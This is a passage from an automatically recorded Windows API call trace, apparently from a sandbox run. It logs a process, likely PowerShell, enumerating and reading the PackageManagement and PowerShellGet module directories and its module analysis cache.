lpFindFileData=0x599e864 | out: lpFindFileData=0x599e864*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e828 [0169.833] FindNextFileW (in: hFindFile=0x37e828, lpFindFileData=0x599e86c | out: lpFindFileData=0x599e86c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.834] FindNextFileW (in: hFindFile=0x37e828, lpFindFileData=0x599e86c | out: lpFindFileData=0x599e86c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1 [0169.834] FindNextFileW (in: hFindFile=0x37e828, lpFindFileData=0x599e86c | out: lpFindFileData=0x599e86c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1 [0169.834] FindNextFileW (in: hFindFile=0x37e828, lpFindFileData=0x599e86c | out: lpFindFileData=0x599e86c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0169.834] FindClose (in: hFindFile=0x37e828 | out: hFindFile=0x37e828) returned 1 [0169.835] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e824) returned 1 [0169.835] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599ea84) returned 1 [0169.837] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.psd1")) returned 0xffffffff [0169.837] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.psm1")) returned 0xffffffff [0169.837] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.cdxml")) returned 0xffffffff [0169.838] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.xaml")) returned 0xffffffff [0169.840] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.ni.dll")) returned 0xffffffff [0169.841] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.dll")) returned 0xffffffff [0169.842] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0169.842] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x3d, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x3c [0169.843] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e804) returned 1 [0169.843] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement"), fInfoLevelId=0x0, lpFileInformation=0x599eac8 | out: lpFileInformation=0x599eac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0169.843] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e800) returned 1 [0169.844] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0169.844] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x39, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x38 [0169.844] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e804) returned 1 [0169.844] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget"), fInfoLevelId=0x0, lpFileInformation=0x599eac8 | out: lpFileInformation=0x599eac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0169.844] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e800) returned 1 [0169.845] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599eab4) returned 1 [0169.845] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0169.845] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x3d, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x3c [0169.845] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\*", lpFindFileData=0x599e864 | out: lpFindFileData=0x599e864*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e828 [0169.846] FindNextFileW (in: hFindFile=0x37e828, lpFindFileData=0x599e86c | out: lpFindFileData=0x599e86c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.846] FindNextFileW (in: hFindFile=0x37e828, lpFindFileData=0x599e86c | out: lpFindFileData=0x599e86c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49b46620, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49b46620, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0169.846] FindNextFileW (in: hFindFile=0x37e828, lpFindFileData=0x599e86c | out: lpFindFileData=0x599e86c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0169.846] FindClose (in: hFindFile=0x37e828 | out: hFindFile=0x37e828) returned 1 [0169.846] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e824) returned 1 [0169.847] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599ea84) returned 1 [0169.847] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0169.847] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0169.847] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e808) returned 1 [0169.847] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x599eacc | out: lpFileInformation=0x599eacc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49b46620, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea9fba0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea9fba0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0169.848] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e804) returned 1 [0169.848] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0169.849] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0169.853] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0169.853] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0169.854] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e82c) returned 1 [0169.854] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x2598e9c | out: lpFileInformation=0x2598e9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49b46620, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea9fba0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea9fba0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0169.854] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e828) returned 1 [0169.947] GetEnvironmentVariableW (in: lpName="PSModuleAnalysisCachePath", lpBuffer=0x599da84, nSize=0xf2 | out: lpBuffer="") returned 0x0 [0169.948] CoTaskMemAlloc (cb=0x20c) returned 0x3d8d98 [0169.948] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x3d8d98 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Local") returned 0x0 [0169.948] CoTaskMemFree (pv=0x3d8d98) [0169.948] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x21 [0169.948] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local", nBufferLength=0x21, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local", lpFilePart=0x0) returned 0x20 [0169.949] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache")) returned 0x2020 [0170.034] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x52 [0170.034] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x52, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", lpFilePart=0x0) returned 0x51 [0170.034] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e280) returned 1 [0170.035] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3e0 [0170.035] GetFileType (hFile=0x3e0) returned 0x1 [0170.035] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e27c) returned 1 [0170.035] GetFileType (hFile=0x3e0) returned 0x1 [0170.036] ReadFile (in: hFile=0x3e0, lpBuffer=0x259a044, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599e2f4, lpOverlapped=0x0 | out: lpBuffer=0x259a044*, lpNumberOfBytesRead=0x599e2f4*=0x1000, lpOverlapped=0x0) returned 1 [0170.060] ReadFile (in: hFile=0x3e0, lpBuffer=0x2599c1f, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x599e2fc, lpOverlapped=0x0 | out: lpBuffer=0x2599c1f*, lpNumberOfBytesRead=0x599e2fc*=0x1, lpOverlapped=0x0) returned 1 [0170.060] ReadFile (in: hFile=0x3e0, lpBuffer=0x259a044, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599e2e8, lpOverlapped=0x0 | out: lpBuffer=0x259a044*, lpNumberOfBytesRead=0x599e2e8*=0x1000, lpOverlapped=0x0) returned 1 [0170.062] ReadFile (in: hFile=0x3e0, lpBuffer=0x2599c1d, nNumberOfBytesToRead=0x13, lpNumberOfBytesRead=0x599e2fc, lpOverlapped=0x0 | out: lpBuffer=0x2599c1d*, lpNumberOfBytesRead=0x599e2fc*=0x13, lpOverlapped=0x0) returned 1 [0170.063] ReadFile (in: hFile=0x3e0, lpBuffer=0x259a044, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599e2fc, lpOverlapped=0x0 | out: lpBuffer=0x259a044*, lpNumberOfBytesRead=0x599e2fc*=0x1000, lpOverlapped=0x0) returned 1 [0170.064] ReadFile (in: hFile=0x3e0, lpBuffer=0x259a044, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599e2fc, lpOverlapped=0x0 | out: lpBuffer=0x259a044*, lpNumberOfBytesRead=0x599e2fc*=0x4fd, lpOverlapped=0x0) returned 1 [0170.065] GetEnvironmentVariableW (in: lpName="PSDisableModuleAnalysisCacheCleanup", lpBuffer=0x599e104, nSize=0xf2 | out: lpBuffer="") returned 0x0 [0170.215] CloseHandle (hObject=0x3e0) returned 1 [0170.216] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psd1")) returned 0xffffffff [0170.216] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psm1")) returned 0xffffffff [0170.216] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.cdxml")) returned 0xffffffff [0170.216] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.xaml")) returned 0xffffffff [0170.217] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.ni.dll")) returned 0xffffffff [0170.217] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.dll")) returned 0xffffffff [0170.217] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599eab4) returned 1 [0170.217] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0170.217] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x39, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x38 [0170.217] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\*", lpFindFileData=0x599e864 | out: lpFindFileData=0x599e864*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e868 [0170.218] FindNextFileW (in: hFindFile=0x37e868, lpFindFileData=0x599e86c | out: lpFindFileData=0x599e86c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.218] FindNextFileW (in: hFindFile=0x37e868, lpFindFileData=0x599e86c | out: lpFindFileData=0x599e86c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0170.218] FindNextFileW (in: hFindFile=0x37e868, lpFindFileData=0x599e86c | out: lpFindFileData=0x599e86c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0170.218] FindClose (in: hFindFile=0x37e868 | out: hFindFile=0x37e868) returned 1 [0170.218] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e824) returned 1 [0170.218] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599ea84) returned 1 [0170.219] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0170.219] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0170.219] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e808) returned 1 [0170.219] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x599eacc | out: lpFileInformation=0x599eacc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0170.219] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e804) returned 1 [0170.220] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0170.220] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0170.220] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0170.220] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0170.221] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e82c) returned 1 [0170.221] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x25ac10c | out: lpFileInformation=0x25ac10c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0170.221] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e828) returned 1 [0170.221] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.psd1")) returned 0xffffffff [0170.221] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.psm1")) returned 0xffffffff [0170.222] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.cdxml")) returned 0xffffffff [0170.222] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.xaml")) returned 0xffffffff [0170.222] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.ni.dll")) returned 0xffffffff [0170.222] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.dll")) returned 0xffffffff [0170.230] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules")) returned 